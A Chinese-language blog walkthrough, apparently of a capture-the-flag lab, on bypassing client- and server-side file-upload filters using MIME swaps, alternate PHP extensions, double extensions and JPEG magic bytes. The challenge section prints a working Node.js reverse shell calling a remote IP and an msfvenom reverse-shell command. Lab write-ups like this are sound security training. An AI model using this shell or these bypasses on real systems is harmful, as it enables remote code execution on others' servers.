【知识】过滤漏洞上传姿势-客户端过滤-服务器端过滤-靶机挑战

简介: 漏洞上传是常见的web漏洞,但是我们上传文件总是会被过滤,那么,我们怎么才能绕过过滤呢?本文将为您细细道来。

bilibili:https://www.bilibili.com/video/BV1pP411G7Zb/

General Methodology

 

 

BeqAZ3s

从这里查看文件目录与文件名,尝试使用相同文件名的文件上传,验证上传后的文件是否在这里。

 

 

Client-Side Filtering

法1:

TrI5jQD (1)

我们可以看到过滤器正在使用一个白名单来排除任何不是 image/jpeg 的 MIME 类型。

让我们启动 Burpkit 并重新加载页面。我们将看到我们自己对站点的请求,但我们真正想看到的是服务器的响应,所以右键单击截获的数据,向下滚动到“ Do Intercept”,然后选择“ Response to this request”

T0RjAry

当我们点击窗口顶部的“转发”按钮时,我们将看到服务器对我们的请求的响应。在这里,我们可以删除、注释掉 Javascript 函数,或者在它有机会加载之前中断它

默认情况下,Burpkit 不会拦截 Web 页面正在加载的任何外部 Javascript 文件。如果你需要编辑一个不在正在加载的主页面中的脚本,你需要到 BurpSuite 窗口顶部的“ Options”选项卡,然后在“ Intercept Client Request”部分,编辑第一行的条件,删除 ^ js $| :

法2:

让我们使用之前使用的反向 shell 并将其重命名为“ shell.jpg”。当 MIME 类型(基于文件扩展名)自动检查出来时,Client-Side 过滤器让我们的有效载荷通过

WNpruFM

我们的 PHP shell 的 MIME 类型当前是 image/jpeg。我们将其更改为 text/x-php,并将文件扩展名从。JPG 到。然后将请求转发到服务器

sqmwssT

Bypassing Server-Side Filtering

File Extensions

法1:

<?php
    //Get the extension
    $extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
    //Check the extension against the blacklist -- .php and .phtml
    switch($extension){
        case "php":
        case "phtml":
        case NULL:
            $uploadFail = True;
            break;
        default:
            $uploadFail = False;
    }
?>

在此实例中,代码正在查找最后一个句点(.)在文件名中,并使用它来确认扩展名,所以这就是我们在这里要尝试绕过的。代码的其他工作方式包括: 搜索文件名中的第一个句点,或者在每个句点分割文件名,检查是否有任何被列入黑名单的扩展名出现。我们稍后将讨论后一种情况,但与此同时,让我们专注于我们在这里得到的代码。

我们可以看到代码正在过滤掉。Php 和。Phtml 扩展,所以如果我们想要上传一个 PHP 脚本,我们将不得不找到另一个扩展。PHP 的维基百科页面提供了一些常见的扩展,我们可以尝试使用; 然而,实际上还有很多其他很少使用的扩展,尽管如此,网络服务器仍然可以识别出来。这些措施包括:。Php3,.Php4,.Php5,.Php7,.Phps.Php-s.Pht 和。法尔。其中许多都绕过了过滤器(只有 locks.php 和。Phtml) ,但似乎服务器配置为不将它们识别为 PHP 文件

这实际上是 Apache2服务器的默认配置; 但是,sysadmin 可能已经更改了默认配置(或者服务器可能已经过期) ,因此非常值得尝试

法2:

ACCEPT FILE FROM THE USER -- SAVE FILENAME IN VARIABLE userInput
IF STRING ".jpg" IS IN VARIABLE userInput:
    SAVE THE FILE
ELSE:
    RETURN ERROR MESSAGE

我们看到代码使用 pathinfo () PHP 函数来获取[.]后面的值,并进行判断,以此我们可以将文件拓展名改为.jpg.php来绕过过滤。

Magic Numbers

我们知道 JPEG 文件是可以接受的,所以让我们尝试将 JPEG 魔术数字添加到 shell.php 文件的顶部。快速浏览一下 Wikipedia 上的文件签名列表,我们就会发现 JPEG 文件有几个神奇的数字。我们在这里使用哪个应该无关紧要,所以让我们只选择一个(FF D8 FF DB)。我们可以直接把这些数字的 ASCII 表示添加到文件的顶部,但是直接使用十六进制表示通常更容易,所以让我们来讨论一下这个方法。

我们可以看到我们选择的神奇数字是四个字节长,所以让我们打开反向 shell 脚本,在第一行添加四个随机字符。这些字符并不重要,所以在这个例子中我们只用了四个“ A”,我们用hexitor将开头的4个41改为FFDBFFDB即可

gobuster dir -u http://magic.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

challenge time

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.10.135.242", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

 

gobuster dir -u http://jewel.uploadvulns.thm/content -w /root/UploadVulnsWordlist.txt -x jpg

msfvenom -p nodejs/shell_reverse_tcp LHOST=tun0 LPORT=4455 -o shell.js

 

目录
相关文章
|
13天前
|
存储 人工智能 自然语言处理
ChatMCP:基于 MCP 协议开发的 AI 聊天客户端,支持多语言和自动化安装 MCP 服务器
ChatMCP 是一款基于模型上下文协议(MCP)的 AI 聊天客户端,支持多语言和自动化安装。它能够与多种大型语言模型(LLM)如 OpenAI、Claude 和 OLLama 等进行交互,具备自动化安装 MCP 服务器、SSE 传输支持、自动选择服务器、聊天记录管理等功能。
87 15
ChatMCP:基于 MCP 协议开发的 AI 聊天客户端,支持多语言和自动化安装 MCP 服务器
|
1月前
|
开发框架 .NET C#
在 ASP.NET Core 中创建 gRPC 客户端和服务器
本文介绍了如何使用 gRPC 框架搭建一个简单的“Hello World”示例。首先创建了一个名为 GrpcDemo 的解决方案,其中包含一个 gRPC 服务端项目 GrpcServer 和一个客户端项目 GrpcClient。服务端通过定义 `greeter.proto` 文件中的服务和消息类型,实现了一个简单的问候服务 `GreeterService`。客户端则通过 gRPC 客户端库连接到服务端并调用其 `SayHello` 方法,展示了 gRPC 在 C# 中的基本使用方法。
41 5
在 ASP.NET Core 中创建 gRPC 客户端和服务器
|
1月前
|
安全 算法 Linux
Linux 服务器还有漏洞?建议使用 OpenVAS 日常检查!
在数字化时代,Linux 服务器的安全至关重要。OpenVAS 是一款优秀的开源漏洞扫描工具,可以帮助及时发现并修复服务器中的安全隐患。本文将介绍 OpenVAS 的主要功能、使用方法及应对漏洞的措施,帮助用户加强服务器安全管理,确保企业数字化安全。
59 7
|
2月前
|
Python
Socket学习笔记(二):python通过socket实现客户端到服务器端的图片传输
使用Python的socket库实现客户端到服务器端的图片传输,包括客户端和服务器端的代码实现,以及传输结果的展示。
173 3
Socket学习笔记(二):python通过socket实现客户端到服务器端的图片传输
|
2月前
|
JSON 数据格式 Python
Socket学习笔记(一):python通过socket实现客户端到服务器端的文件传输
本文介绍了如何使用Python的socket模块实现客户端到服务器端的文件传输,包括客户端发送文件信息和内容,服务器端接收并保存文件的完整过程。
184 1
Socket学习笔记(一):python通过socket实现客户端到服务器端的文件传输
|
2月前
使用Netty实现文件传输的HTTP服务器和客户端
本文通过详细的代码示例,展示了如何使用Netty框架实现一个文件传输的HTTP服务器和客户端,包括服务端的文件处理和客户端的文件请求与接收。
81 1
使用Netty实现文件传输的HTTP服务器和客户端
|
2月前
|
网络协议 Unix Linux
一个.NET开源、快速、低延迟的异步套接字服务器和客户端库
一个.NET开源、快速、低延迟的异步套接字服务器和客户端库
102 4
|
2月前
|
网络协议 Java API
【网络】TCP回显服务器和客户端的构造,以及相关bug解决方法
【网络】TCP回显服务器和客户端的构造,以及相关bug解决方法
72 2
|
2月前
|
存储 网络协议 Java
【网络】UDP回显服务器和客户端的构造,以及连接流程
【网络】UDP回显服务器和客户端的构造,以及连接流程
61 2
|
2月前
|
安全 区块链 数据库

热门文章

最新文章